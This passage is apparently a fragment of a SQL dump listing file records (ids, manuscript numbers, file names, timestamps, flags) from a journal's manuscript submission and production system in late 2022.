17:03:15',1,3,0),(34281,13178,'13178-xvdr-Manuscript-proof-submission-2022-11-21.docx',NULL,'2022-11-21 17:04:03',1,3,0),(34282,13183,'13183-0-Manuscript-2022-11-21.docx',NULL,'2022-11-21 19:10:23',1,1,0),(34283,13183,'13183-1-Manuscript-2022-11-21.docx',NULL,'2022-11-21 19:10:23',1,1,0),(34284,13184,'13184-0-Manuscript-2022-11-22.docx',NULL,'2022-11-22 10:43:06',1,1,0),(34285,13185,'13185-0-Manuscript-2022-11-22.docx',NULL,'2022-11-22 10:45:31',1,1,0),(34286,13186,'13186-0-Manuscript-2022-11-22.docx',NULL,'2022-11-22 10:50:24',1,1,0),(34287,13187,'13187-0-Manuscript-2022-11-22.doc',NULL,'2022-11-22 20:18:17',1,1,0),(34288,13188,'13188-0-Manuscript-2022-11-23.docx',NULL,'2022-11-23 12:18:48',1,1,0),(34289,13173,'13173-Manuscript-2022-11-23-eob9-ijddr-22-13173.rar',NULL,'2022-11-23 14:08:29',1,3,1),(34290,13130,'13130-Manuscript-2022-11-23-ls85-ijddr-22-13130.rar',NULL,'2022-11-23 14:09:04',1,3,1),(34291,13047,'13047-Manuscript-2022-11-23-e273-ipacr-22-13047.rar',NULL,'2022-11-23 14:11:48',1,3,1),(34292,13189,'13189-0-Manuscript-2022-11-23.docx',NULL,'2022-11-23 15:18:15',1,1,0),(34293,13181,'13181-83qp-Manuscript-proof-submission-2022-11-23.rar',NULL,'2022-11-23 16:55:50',1,3,0),(34294,13190,'13190-0-Manuscript-2022-11-23.docx',NULL,'2022-11-23 16:58:02',1,1,0),(34295,13181,'13181-Manuscript-2022-11-23-gh8o-ap-team-revised.rar',NULL,'2022-11-23 17:43:57',1,3,1),(34299,13165,'13165-Manuscript-2022-11-24-ex70.pdf',NULL,'2022-11-24 09:45:18',1,3,1),(34300,13192,'13192-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 09:56:07',1,1,0),(34301,13193,'13193-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 09:59:51',1,1,0),(34302,13194,'13194-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 10:03:53',1,1,0),(34303,13195,'13195-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 10:07:01',1,1,0),(34304,13196,'13196-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 10:09:14',1,1,0),(34306,13198,'13198-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 10:43:45',1,1,0),(34307,13076,'13076-avlj-Manuscript-proof-submission-2022-11-24.rar',NULL,'2022-11-24 14:15:49',1,3,1),(34308,13076,'13076-Manuscript-2022-11-24-ifr7-ap-team-revised.rar',NULL,'2022-11-24 14:45:10',1,3,0),(34309,13199,'13199-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 14:50:30',1,1,0),(34310,13200,'13200-0-Manuscript-2022-11-24.docx',NULL,'2022-11-24 16:00:58',1,1,0),(34311,13130,'13130-Manuscript-2022-11-24-itpn-graphic-completed.pdf',NULL,'2022-11-24 17:29:15',1,3,0),(34312,13131,'13131-Manuscript-2022-11-24-3ubo-graphic-completed.pdf',NULL,'2022-11-24 17:29:32',1,3,0),(34313,13181,'13181-Manuscript-2022-11-24-wbn0-graphic-completed.pdf',NULL,'2022-11-24 17:29:44',1,3,0),(34314,13173,'13173-Manuscript-2022-11-24-cmx7-graphic-completed.pdf',NULL,'2022-11-24 17:29:56',1,3,0),(34315,13175,'13175-Manuscript-2022-11-25-at5f-ipaom-22-13175.docx',NULL,'2022-11-25 10:35:04',1,3,0),(34316,13176,'13176-Manuscript-2022-11-25-zf7s-ipaom-22-13176.docx',NULL,'2022-11-25 10:35:16',1,3,0),(34317,13177,'13177-Manuscript-2022-11-25-sobq-ipaom-22-13177.docx',NULL,'2022-11-25 10:35:28',1,3,0),(34318,13178,'13178-Manuscript-2022-11-25-5uij-ipaom-22-13178.docx',NULL,'2022-11-25 10:35:40',1,3,0),(34319,13164,'13164-nex8-Manuscript-proof-submission-2022-11-25.rar',NULL,'2022-11-25 10:49:54',1,3,1),(34320,3324,'3324-Manuscript-2022-11-25-v7ka-move-pdf-making.pdf',NULL,'2022-11-25 10:56:16',1,3,0),(34321,13164,'13164-Manuscript-2022-11-25-vaxz-ap-team-revised.rar',NULL,'2022-11-25 11:08:37',1,3,0),(34322,13192,'13192-3ia8-Manuscript-proof-submission-2022-11-25.docx',NULL,'2022-11-25 11:19:27',1,3,0),(34323,13193,'13193-16cx-Manuscript-proof-submission-2022-11-25.docx',NULL,'2022-11-25 11:20:19',1,3,0),(34324,13194,'13194-hpri-Manuscript-proof-submission-2022-11-25.docx',NULL,'2022-11-25 11:21:27',1,3,0),(34325,13195,'13195-9npm-Manuscript-proof-submission-2022-11-25.docx',NULL,'2022-11-25 11:22:20',1,3,0),(34326,13196,'13196-16x3-Manuscript-proof-submission-2022-11-25.docx',NULL,'2022-11-25 11:23:20',1,3,0),(34327,13181,'13181-Manuscript-2022-11-25-sqfv.pdf',NULL,'2022-11-25 12:07:11',1,3,1),(34328,13173,'13173-Manuscript-2022-11-25-pzus.pdf',NULL,'2022-11-25 12:09:18',1,3,1),(34329,13130,'13130-Manuscript-2022-11-25-snlk.pdf',NULL,'2022-11-25 12:11:40',1,3,1),(34330,13133,'13133-Manuscript-2022-11-25-u2od.pdf',NULL,'2022-11-25 12:14:21',1,3,1),(34331,13131,'13131-Manuscript-2022-11-25-rwem.pdf',NULL,'2022-11-25 12:29:58',1,3,1),(34332,13201,'13201-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 13:23:18',1,1,0),(34333,13202,'13202-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 13:24:30',1,1,0),(34334,13203,'13203-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 13:25:56',1,1,0),(34335,13186,'13186-246x-Manuscript-proof-submission-2022-11-25.rar',NULL,'2022-11-25 13:36:48',1,3,1),(34336,13185,'13185-udxo-Manuscript-proof-submission-2022-11-25.rar',NULL,'2022-11-25 13:37:08',1,3,1),(34337,13180,'13180-xo52-Manuscript-proof-submission-2022-11-25.rar',NULL,'2022-11-25 13:37:27',1,3,1),(34338,13179,'13179-ztna-Manuscript-proof-submission-2022-11-25.rar',NULL,'2022-11-25 13:37:48',1,3,1),(34339,13204,'13204-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 14:02:38',1,1,0),(34340,13169,'13169-Manuscript-2022-11-25-6gun-graphic-completed.pdf',NULL,'2022-11-25 14:10:11',1,3,0),(34341,13123,'13123-ot47-Manuscript-proof-submission-2022-11-25.rar',NULL,'2022-11-25 14:28:04',1,3,0),(34342,13076,'13076-Manuscript-2022-11-25-8bnh-graphic-completed.pdf',NULL,'2022-11-25 14:32:45',1,3,0),(34343,13164,'13164-Manuscript-2022-11-25-3zrq-graphic-completed.pdf',NULL,'2022-11-25 14:53:49',1,3,0),(34344,13205,'13205-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 15:02:22',1,1,0),(34345,13123,'13123-Manuscript-2022-11-25-v17h-ap-team-revised.rar',NULL,'2022-11-25 15:12:00',1,3,1),(34346,13206,'13206-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 15:16:35',1,1,0),(34347,13207,'13207-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 15:18:19',1,1,0),(34348,13076,'13076-Manuscript-2022-11-25-lx0c.pdf',NULL,'2022-11-25 17:54:20',1,3,0),(34349,13164,'13164-Manuscript-2022-11-25-euh7.pdf',NULL,'2022-11-25 17:55:59',1,3,0),(34350,13208,'13208-0-Manuscript-2022-11-25.docx',NULL,'2022-11-25 18:35:16',1,1,0),(34351,13162,'13162-zcdj-Manuscript-proof-submission-2022-11-26.rar',NULL,'2022-11-26 09:48:24',1,3,0),(34352,13163,'13163-jhmz-Manuscript-proof-submission-2022-11-26.docx',NULL,'2022-11-26 09:50:06',1,3,0),(34353,13163,'13163-slq4-Manuscript-proof-submission-2022-11-26.docx',NULL,'2022-11-26 09:50:06',1,3,0),(34354,13180,'13180-Manuscript-2022-11-26-n9ol-ipacr-22-13180.rar',NULL,'2022-11-26 10:10:16',1,3,1),(34355,13179,'13179-Manuscript-2022-11-26-zb4s-ipacr-22-13179.rar',NULL,'2022-11-26 10:10:52',1,3,1),(34356,13186,'13186-Manuscript-2022-11-26-c6uw-ipacr-22-13186.rar',NULL,'2022-11-26 10:11:31',1,3,1),(34357,13185,'13185-Manuscript-2022-11-26-46zp-ipacr-22-13185.rar',NULL,'2022-11-26 10:12:23',1,3,0),(34358,13047,'13047-Manuscript-2022-11-26-u076-graphic-completed.pdf',NULL,'2022-11-26 10:35:46',1,3,0),(34359,13192,'13192-Manuscript-2022-11-26-k1ij-ipaom-22-13192.docx',NULL,'2022-11-26 10:41:18',1,3,0),(34360,13193,'13193-Manuscript-2022-11-26-8ac6-ipaom-22-13193.docx',NULL,'2022-11-26 10:41:31',1,3,0),(34361,13194,'13194-Manuscript-2022-11-26-v63h-ipaom-22-13194.docx',NULL,'2022-11-26 10:41:41',1,3,0),(34362,13195,'13195-Manuscript-2022-11-26-53as-ipaom-22-13195.docx',NULL,'2022-11-26 10:41:51',1,3,0),(34363,13196,'13196-Manuscript-2022-11-26-a76r-ipaom-22-13196.docx',NULL,'2022-11-26 10:42:02',1,3,0),(34364,13123,'13123-Manuscript-2022-11-26-zc9l-graphic-completed.pdf',NULL,'2022-11-26 10:49:36',1,3,0),(34365,13209,'13209-0-Manuscript-2022-11-26.docx',NULL,'2022-11-26 10:54:34',1,1,0),(34366,13210,'13210-0-Manuscript-2022-11-26.docx',NULL,'2022-11-26 11:34:58',1,1,0),(34367,13211,'13211-0-Manuscript-2022-11-28.docx',NULL,'2022-11-28 10:19:12',1,1,0),(34368,13175,'13175-Manuscript-2022-11-28-mpwc-graphic-completed.pdf',NULL,'2022-11-28 11:57:46',1,3,0),(34369,13176,'13176-Manuscript-2022-11-28-amvr-graphic-completed.pdf',NULL,'2022-11-28 11:58:13',1,3,0),(34370,13177,'13177-Manuscript-2022-11-28-uawd-graphic-completed.pdf',NULL,'2022-11-28 11:58:38',1,3,0),(34371,13178,'13178-Manuscript-2022-11-28-6wl2-graphic-completed.pdf',NULL,'2022-11-28 11:59:06',1,3,0),(34372,13162,'13162-Manuscript-2022-11-28-8uzh-ipadm-22-13162.zip',NULL,'2022-11-28 12:04:35',1,3,0),(34373,13163,'13163-Manuscript-2022-11-28-x96f-ipadm-22-13163.zip',NULL,'2022-11-28 12:05:28',1,3,0),(34374,13163,'13163-Manuscript-2022-11-28-3zid-ipadm-22-13163.zip',NULL,'2022-11-28 12:06:11',1,3,0),(34375,13212,'13212-0-Manuscript-2022-11-28.docx',NULL,'2022-11-28 12:09:24',1,1,0),(34376,13162,'13162-Manuscript-2022-11-28-ald7-move-pdf-making.pdf',NULL,'2022-11-28 12:23:01',1,3,0),(34377,13213,'13213-0-Manuscript-2022-11-28.docx',NULL,'2022-11-29 01:34:06',1,1,0),(34378,13176,'13176-Manuscript-2022-11-29-qlst.pdf',NULL,'2022-11-29 09:22:45',1,3,0),(34379,13177,'13177-Manuscript-2022-11-29-29ow.pdf',NULL,'2022-11-29 09:23:01',1,3,0),(34380,13175,'13175-Manuscript-2022-11-29-fcyw.pdf',NULL,'2022-11-29 09:23:40',1,3,0),(34381,13178,'13178-Manuscript-2022-11-29-9toe.pdf',NULL,'2022-11-29 09:24:00',1,3,0),(34382,13214,'13214-0-Manuscript-2022-11-29.docx',NULL,'2022-11-29 09:46:19',1,1,0),(34383,13201,'13201-kxfr-Manuscript-proof-submission-2022-11-29.rar',NULL,'2022-11-29 10:50:23',1,3,0),(34384,13202,'13202-pwy9-Manuscript-proof-submission-2022-11-29.rar',NULL,'2022-11-29 10:50:51',1,3,0),(34385,13203,'13203-rsdt-Manuscript-proof-submission-2022-11-29.rar',NULL,'2022-11-29 10:51:25',1,3,0),(34386,13215,'13215-0-Manuscript-2022-11-29.docx',NULL,'2022-11-29 15:38:57',1,1,0),(34387,13095,'13095-3tdb-Manuscript-proof-submission-2022-11-29.rar',NULL,'2022-11-29 15:54:01',1,3,0),(34388,13123,'13123-Manuscript-2022-11-29-x4zo.pdf',NULL,'2022-11-29 17:09:13',1,3,1),(34389,13201,'13201-Manuscript-2022-11-29-d0p8-ap-team-revised.rar',NULL,'2022-11-29 18:01:22',1,3,1),(34390,13202,'13202-Manuscript-2022-11-29-ibdf-ap-team-revised.rar',NULL,'2022-11-29 18:05:28',1,3,0),(34391,13202,'13202-Manuscript-2022-11-29-rdkb-ap-team-revised.rar',NULL,'2022-11-29 18:10:09',1,3,1),(34392,13203,'13203-Manuscript-2022-11-29-3clk-ap-team-revised.rar',NULL,'2022-11-29 18:11:03',1,3,1),(34393,13192,'13192-Manuscript-2022-11-30-t7az-graphic-completed.pdf',NULL,'2022-11-30 10:53:39',1,3,0),(34394,13192,'13192-Manuscript-2022-11-30-23ym-graphic-completed.pdf',NULL,'2022-11-30 10:53:39',1,3,0),(34395,13193,'13193-Manuscript-2022-11-30-jekz-graphic-completed.pdf',NULL,'2022-11-30 10:54:06',1,3,0),(34396,13194,'13194-Manuscript-2022-11-30-6i83-graphic-completed.pdf',NULL,'2022-11-30 10:54:38',1,3,0),(34397,13177,'13177-Manuscript-2022-11-30-hcu8-ap-ame-revised.pdf',NULL,'2022-11-30 11:03:45',1,3,0),(34398,13176,'13176-Manuscript-2022-11-30-7b4n-ap-ame-revised.pdf',NULL,'2022-11-30 11:04:54',1,3,0),(34399,13176,'13176-Manuscript-2022-11-30-b61l.pdf',NULL,'2022-11-30 11:14:35',1,3,0),(34400,13177,'13177-Manuscript-2022-11-30-h8ew.pdf',NULL,'2022-11-30 11:14:54',1,3,0),(34401,13111,'13111-n3d9-Manuscript-proof-submission-2022-11-30.rar',NULL,'2022-11-30 11:36:27',1,3,0),(34402,13111,'13111-4egt-Manuscript-proof-submission-2022-11-30.rar',NULL,'2022-11-30 11:36:28',1,3,0),(34403,13189,'13189-nzw0-Manuscript-proof-submission-2022-11-30.rar',NULL,'2022-11-30 11:55:22',1,3,0),(34404,13199,'13199-4zpa-Manuscript-proof-submission-2022-11-30.rar',NULL,'2022-11-30 12:21:11',1,3,0),(34405,13216,'13216-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 13:00:54',1,1,0),(34406,13217,'13217-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 13:50:09',1,1,0),(34407,13119,'13119-85e6-Manuscript-proof-submission-2022-11-30.rar',NULL,'2022-11-30 13:56:34',1,3,0),(34408,13218,'13218-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 14:29:04',1,1,0),(34409,13119,'13119-Manuscript-2022-11-30-7yq8-ap-team-revised.rar',NULL,'2022-11-30 15:01:18',1,3,1),(34410,13095,'13095-Manuscript-2022-11-30-gwxy-iphsj-22-13095.rar',NULL,'2022-11-30 15:01:49',1,3,1),(34411,13219,'13219-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 15:13:42',1,1,0),(34412,13220,'13220-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 15:19:59',1,1,0),(34413,13221,'13221-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 15:30:42',1,1,0),(34414,13180,'13180-Manuscript-2022-11-30-pfwm-graphic-completed.pdf',NULL,'2022-11-30 15:45:35',1,3,0),(34415,13179,'13179-Manuscript-2022-11-30-pzrc-graphic-completed.pdf',NULL,'2022-11-30 15:45:47',1,3,1),(34416,13186,'13186-Manuscript-2022-11-30-tgus-graphic-completed.pdf',NULL,'2022-11-30 15:46:16',1,3,0),(34417,13185,'13185-Manuscript-2022-11-30-5r4k-graphic-completed.pdf',NULL,'2022-11-30 15:46:23',1,3,0),(34418,13222,'13222-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 17:06:17',1,1,0),(34419,13223,'13223-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 18:11:24',1,1,0),(34420,13224,'13224-0-Manuscript-2022-11-30.docx',NULL,'2022-11-30 18:33:23',1,1,0),(34422,13210,'13210-n3w1-Manuscript-proof-submission-2022-12-01.rar',NULL,'2022-12-01 15:50:59',1,3,0),(34423,13200,'13200-0jwv-Manuscript-proof-submission-2022-12-01.rar',NULL,'2022-12-01 16:54:01',1,3,0),(34424,13228,'13228-0-Manuscript-2022-12-01.docx',NULL,'2022-12-01 18:04:18',1,1,0),(34425,13095,'13095-Manuscript-2022-12-01-61n4-graphic-completed.pdf',NULL,'2022-12-01 18:22:25',1,3,0),(34426,13229,'13229-0-Manuscript-2022-12-02.docx',NULL,'2022-12-02 09:17:30',1,1,0),(34427,13119,'13119-Manuscript-2022-12-02-jlw3-graphic-completed.pdf',NULL,'2022-12-02 10:23:59',1,3,1),(34428,13204,'13204-u3l2-Manuscript-proof-submission-2022-12-02.rar',NULL,'2022-12-02 10:38:18',1,3,0),(34429,13185,'13185-Manuscript-2022-12-02-my25.pdf',NULL,'2022-12-02 10:57:26',1,3,1),(34430,13186,'13186-Manuscript-2022-12-02-jdux.pdf',NULL,'2022-12-02 10:58:07',1,3,1),(34431,13047,'13047-Manuscript-2022-12-02-b90i.pdf',NULL,'2022-12-02 10:58:43',1,3,1),(34432,13180,'13180-Manuscript-2022-12-02-u904.pdf',NULL,'2022-12-02 10:59:31',1,3,1),(34433,13210,'13210-Manuscript-2022-12-02-s5k1-ipacm-22-13210.rar',NULL,'2022-12-02 11:01:57',1,3,0),(34434,13200,'13200-Manuscript-2022-12-02-cvl7-ipacm-22-13200.rar',NULL,'2022-12-02 11:02:26',1,3,0),(34435,13204,'13204-Manuscript-2022-12-02-qe12-ap-team-revised.rar',NULL,'2022-12-02 11:05:44',1,3,0),(34436,13119,'13119-Manuscript-2022-12-02-uymo.pdf',NULL,'2022-12-02 11:36:49',1,3,0),(34437,13205,'13205-kd5i-Manuscript-proof-submission-2022-12-02.rar',NULL,'2022-12-02 11:46:16',1,3,0),(34438,13203,'13203-Manuscript-2022-12-02-jwgh-graphic-completed.pdf',NULL,'2022-12-02 12:15:32',1,3,0),(34439,13202,'13202-Manuscript-2022-12-02-zt15-graphic-completed.pdf',NULL,'2022-12-02 12:15:36',1,3,0),(34440,13201,'13201-Manuscript-2022-12-02-u8me-graphic-completed.pdf',NULL,'2022-12-02 12:15:45',1,3,0),(34441,13209,'13209-ibxm-Manuscript-proof-submission-2022-12-02.rar',NULL,'2022-12-02 12:16:39',1,3,0),(34442,13095,'13095-Manuscript-2022-12-02-65y2.pdf',NULL,'2022-12-02 12:22:47',1,3,1),(34445,13215,'13215-o4nl-Manuscript-proof-submission-2022-12-02.rar',NULL,'2022-12-02 13:43:38',1,3,0),(34451,13215,'13215-Manuscript-2022-12-02-4yxn-ap-team-revised.rar',NULL,'2022-12-02 14:11:40',1,3,0),(34452,13215,'13215-Manuscript-2022-12-02-45r2-ap-team-revised.rar',NULL,'2022-12-02 14:14:02',1,3,1),(34455,13166,'13166-io98-Manuscript-proof-submission-2022-12-02.docx',NULL,'2022-12-02 15:21:49',1,3,0),(34457,13167,'13167-0pf5-Manuscript-proof-submission-2022-12-02.zip',NULL,'2022-12-02 16:57:18',1,3,0),(34459,13167,'13167-Manuscript-2022-12-02-jx67-ap-team-revised.zip',NULL,'2022-12-02 17:25:41',1,3,0),(34460,13209,'13209-Manuscript-2022-12-02-pnvz-ap-team-revised.rar',NULL,'2022-12-02 17:36:49',1,3,0),(34461,13205,'13205-Manuscript-2022-12-02-qlri-ap-team-revised.rar',NULL,'2022-12-02 17:37:48',1,3,0),(34462,13154,'13154-m6k9-Manuscript-proof-submission-2022-12-03.docx',NULL,'2022-12-03 08:46:06',1,3,0),(34463,13154,'13154-r2ov-Manuscript-proof-submission-2022-12-03.docx',NULL,'2022-12-03 08:49:02',1,3,0),(34464,13192,'13192-Manuscript-2022-12-03-5vdf.pdf',NULL,'2022-12-03 09:45:23',1,3,0),(34465,13166,'13166-Manuscript-2022-12-03-kopq-ap-team-revised.docx',NULL,'2022-12-03 09:45:34',1,3,0),(34466,13166,'13166-Manuscript-2022-12-03-pqau-ap-team-revised.docx',NULL,'2022-12-03 09:45:34',1,3,0),(34467,13193,'13193-Manuscript-2022-12-03-ypx9.pdf',NULL,'2022-12-03 09:46:12',1,3,0),(34468,13194,'13194-Manuscript-2022-12-03-onc5.pdf',NULL,'2022-12-03 09:46:28',1,3,0),(34469,13195,'13195-Manuscript-2022-12-03-qbr2.pdf',NULL,'2022-12-03 09:46:57',1,3,0),(34470,13196,'13196-Manuscript-2022-12-03-nhct.pdf',NULL,'2022-12-03 09:47:12',1,3,0),(34471,13162,'13162-Manuscript-2022-12-03-7e1d-move-pdf-making.pdf',NULL,'2022-12-03 10:06:02',1,3,0),(34472,13166,'13166-Manuscript-2022-12-03-teza-move-pdf-making.pdf',NULL,'2022-12-03 10:25:16',1,3,0),(34473,13154,'13154-Manuscript-2022-12-03-odec-ap-team-revised.rar',NULL,'2022-12-03 11:26:39',1,3,0),(34474,13243,'13243-0-Manuscript-2022-12-03.docx',NULL,'2022-12-03 11:34:35',1,1,0),(34475,13194,'13194-Manuscript-2022-12-03-umnk-ap-ame-revised.pdf',NULL,'2022-12-03 11:49:01',1,3,0),(34476,13192,'13192-Manuscript-2022-12-03-g8sn-ap-ame-revised.pdf',NULL,'2022-12-03 11:49:45',1,3,0),(34477,13194,'13194-Manuscript-2022-12-03-6g5i.pdf',NULL,'2022-12-03 12:09:08',1,3,0),(34478,13192,'13192-Manuscript-2022-12-03-ing6.pdf',NULL,'2022-12-03 12:09:21',1,3,0),(34479,13244,'13244-0-Manuscript-2022-12-03.docx',NULL,'2022-12-03 13:35:16',1,1,0),(34480,13228,'13228-zav1-Manuscript-proof-submission-2022-12-05.rar',NULL,'2022-12-05 10:11:44',1,3,0),(34481,13198,'13198-kovf-Manuscript-proof-submission-2022-12-05.rar',NULL,'2022-12-05 10:12:28',1,3,0),(34482,13155,'13155-hutc-Manuscript-proof-submission-2022-12-05.rar',NULL,'2022-12-05 10:13:12',1,3,0),(34483,13153,'13153-b1v8-Manuscript-proof-submission-2022-12-05.rar',NULL,'2022-12-05 10:13:53',1,3,0),(34484,13066,'13066-7rio-Manuscript-proof-submission-2022-12-05.docx',NULL,'2022-12-05 10:14:37',1,3,0),(34485,13218,'13218-49ui-Manuscript-proof-submission-2022-12-05.rar',NULL,'2022-12-05 10:36:00',1,3,0),(34486,13217,'13217-mvsy-Manuscript-proof-submission-2022-12-05.rar',NULL,'2022-12-05 10:49:16',1,3,0),(34487,13166,'13166-Manuscript-2022-12-05-c16g-move-pdf-making.pdf',NULL,'2022-12-05 15:02:59',1,3,0),(34488,13166,'13166-Manuscript-2022-12-05-4a0r-rsuite-completed.docx',NULL,'2022-12-05 16:11:22',1,3,0),(34489,13228,'13228-Manuscript-2022-12-05-4px7-ap-team-revised.rar',NULL,'2022-12-05 16:42:57',1,3,0),(34490,13198,'13198-Manuscript-2022-12-05-ns0c-ap-team-revised.rar',NULL,'2022-12-05 16:43:30',1,3,0),(34491,13153,'13153-Manuscript-2022-12-05-w4yv-ap-team-revised.rar',NULL,'2022-12-05 16:44:39',1,3,0),(34492,13155,'13155-Manuscript-2022-12-05-q8dv-ap-team-revised.rar',NULL,'2022-12-05 16:45:30',1,3,0),(34493,13066,'13066-Manuscript-2022-12-05-pb87-ap-team-revised.docx',NULL,'2022-12-05 16:48:09',1,3,0),(34494,13246,'13246-0-Manuscript-2022-12-05.docx',NULL,'2022-12-05 17:09:16',1,1,0),(34495,13247,'13247-0-Manuscript-2022-12-05.docx',NULL,'2022-12-05 18:43:17',1,1,0),(34496,13248,'13248-0-Manuscript-2022-12-05.pdf',NULL,'2022-12-05 22:48:13',1,1,0),(34497,13248,'13248-1-Manuscript-2022-12-05.pdf',NULL,'2022-12-05 22:48:13',1,1,0),(34498,13249,'13249-0-Manuscript-2022-12-06.docx',NULL,'2022-12-06 09:35:10',1,1,0),(34499,13250,'13250-0-Manuscript-2022-12-06.docx',NULL,'2022-12-06 09:40:34',1,1,0),(34500,13251,'13251-0-Manuscript-2022-12-06.docx',NULL,'2022-12-06 09:44:03',1,1,0),(34501,13051,'13051-9zyt-Manuscript-proof-submission-2022-12-06.docx',NULL,'2022-12-06 10:15:31',1,3,0),(34502,13058,'13058-tvjq-Manuscript-proof-submission-2022-12-06.docx',NULL,'2022-12-06 10:18:01',1,3,0),(34503,13114,'13114-23av-Manuscript-proof-submission-2022-12-06.docx',NULL,'2022-12-06 10:24:36',1,3,0),(34504,13168,'13168-ixm1-Manuscript-proof-submission-2022-12-06.rar',NULL,'2022-12-06 10:48:09',1,3,0),(34505,13168,'13168-Manuscript-2022-12-06-r3pb-ap-team-revised.rar',NULL,'2022-12-06 10:48:24',1,3,1),(34506,13166,'13166-Manuscript-2022-12-06-pkdt.pdf',NULL,'2022-12-06 10:53:21',1,3,0),(34507,13217,'13217-Manuscript-2022-12-06-oniy-ap-team-revised.rar',NULL,'2022-12-06 11:26:24',1,3,1),(34508,13218,'13218-Manuscript-2022-12-06-ng1j-ap-team-revised.rar',NULL,'2022-12-06 11:26:55',1,3,1),(34509,13199,'13199-Manuscript-2022-12-06-wysx-IPJUS-22-13199.rar',NULL,'2022-12-06 11:27:27',1,3,1),(34510,13189,'13189-Manuscript-2022-12-06-2fym-IPJUS-22-13189.rar',NULL,'2022-12-06 11:27:57',1,3,1),(34511,13111,'13111-Manuscript-2022-12-06-wf1u-IPJUS-22-13111.rar',NULL,'2022-12-06 11:28:31',1,3,1),(34512,13201,'13201-Manuscript-2022-12-06-jwyc.pdf',NULL,'2022-12-06 15:48:08',1,3,1),(34513,13202,'13202-Manuscript-2022-12-06-vsjx.pdf',NULL,'2022-12-06 15:48:52',1,3,1),(34514,13203,'13203-Manuscript-2022-12-06-23e5.pdf',NULL,'2022-12-06 15:49:28',1,3,1),(34515,13169,'13169-Manuscript-2022-12-06-81kz.pdf',NULL,'2022-12-06 15:50:02',1,3,1),(34516,13066,'13066-Manuscript-2022-12-06-tms4-graphic-completed.pdf',NULL,'2022-12-06 16:50:05',1,3,0),(34517,13153,'13153-Manuscript-2022-12-06-nlke-graphic-completed.pdf',NULL,'2022-12-06 16:50:16',1,3,0),(34518,13155,'13155-Manuscript-2022-12-06-vk91-graphic-completed.pdf',NULL,'2022-12-06 16:50:26',1,3,0),(34519,13198,'13198-Manuscript-2022-12-06-npoc-graphic-completed.pdf',NULL,'2022-12-06 16:50:41',1,3,0),(34520,13228,'13228-Manuscript-2022-12-06-q6bw-graphic-completed.pdf',NULL,'2022-12-06 16:50:51',1,3,0),(34521,13252,'13252-0-Manuscript-2022-12-06.docx',NULL,'2022-12-06 16:55:13',1,1,0),(34522,13253,'13253-0-Manuscript-2022-12-06.docx',NULL,'2022-12-06 16:59:22',1,1,0),(34523,13254,'13254-0-Manuscript-2022-12-06.docx',NULL,'2022-12-06 17:03:58',1,1,0),(34524,13155,'13155-Manuscript-2022-12-06-18bm.pdf',NULL,'2022-12-06 17:45:32',1,3,0),(34525,13200,'13200-Manuscript-2022-12-06-x9td-graphic-completed.pdf',NULL,'2022-12-06 17:45:55',1,3,0),(34526,13204,'13204-Manuscript-2022-12-06-wcrq-graphic-completed.pdf',NULL,'2022-12-06 17:46:12',1,3,0),(34527,13205,'13205-Manuscript-2022-12-06-hk0l-graphic-completed.pdf',NULL,'2022-12-06 17:46:25',1,3,0),(34528,13209,'13209-Manuscript-2022-12-06-cols-graphic-completed.pdf',NULL,'2022-12-06 17:46:37',1,3,0),(34529,13210,'13210-Manuscript-2022-12-06-v4gf-graphic-completed.pdf',NULL,'2022-12-06 17:46:47',1,3,0),(34530,12983,'12983-Manuscript-2022-12-06-1oqf-graphic-completed.pdf',NULL,'2022-12-06 17:50:11',1,3,0),(34531,12662,'12662-Manuscript-2022-12-06-l28g-graphic-completed.pdf',NULL,'2022-12-06 17:50:50',1,3,0),(34532,12930,'12930-Manuscript-2022-12-06-hlfs-graphic-completed.pdf',NULL,'2022-12-06 17:51:47',1,3,0),(34533,13032,'13032-Manuscript-2022-12-06-q5bd-graphic-completed.pdf',NULL,'2022-12-06 17:53:09',1,3,0),(34534,13217,'13217-Manuscript-2022-12-06-lr8h-graphic-completed.pdf',NULL,'2022-12-06 17:54:05',1,3,1),(34535,13189,'13189-Manuscript-2022-12-06-yb84-graphic-completed.pdf',NULL,'2022-12-06 17:54:12',1,3,1),(34536,13199,'13199-Manuscript-2022-12-06-x7j0-graphic-completed.pdf',NULL,'2022-12-06 17:54:18',1,3,0),(34537,13218,'13218-Manuscript-2022-12-06-9wir-graphic-completed.pdf',NULL,'2022-12-06 17:54:27',1,3,1),(34538,13111,'13111-Manuscript-2022-12-06-smnh-graphic-completed.pdf',NULL,'2022-12-06 17:54:34',1,3,1),(34539,13198,'13198-Manuscript-2022-12-07-9ps4.pdf',NULL,'2022-12-07 10:37:09',1,3,0),(34540,13228,'13228-Manuscript-2022-12-07-zghv.pdf',NULL,'2022-12-07 10:37:48',1,3,0),(34541,13066,'13066-Manuscript-2022-12-07-bacz.pdf',NULL,'2022-12-07 10:39:31',1,3,0),(34542,13167,'13167-Manuscript-2022-12-07-x20n-graphic-completed.pdf',NULL,'2022-12-07 10:40:45',1,3,0),(34543,13153,'13153-Manuscript-2022-12-07-1zxi.pdf',NULL,'2022-12-07 10:44:36',1,3,0),(34544,13255,'13255-0-Manuscript-2022-12-07.docx',NULL,'2022-12-07 14:37:55',1,1,0),(34545,13247,'13247-swf1-Manuscript-proof-submission-2022-12-07.rar',NULL,'2022-12-07 15:22:46',1,3,0),(34546,13249,'13249-50gl-Manuscript-proof-submission-2022-12-07.rar',NULL,'2022-12-07 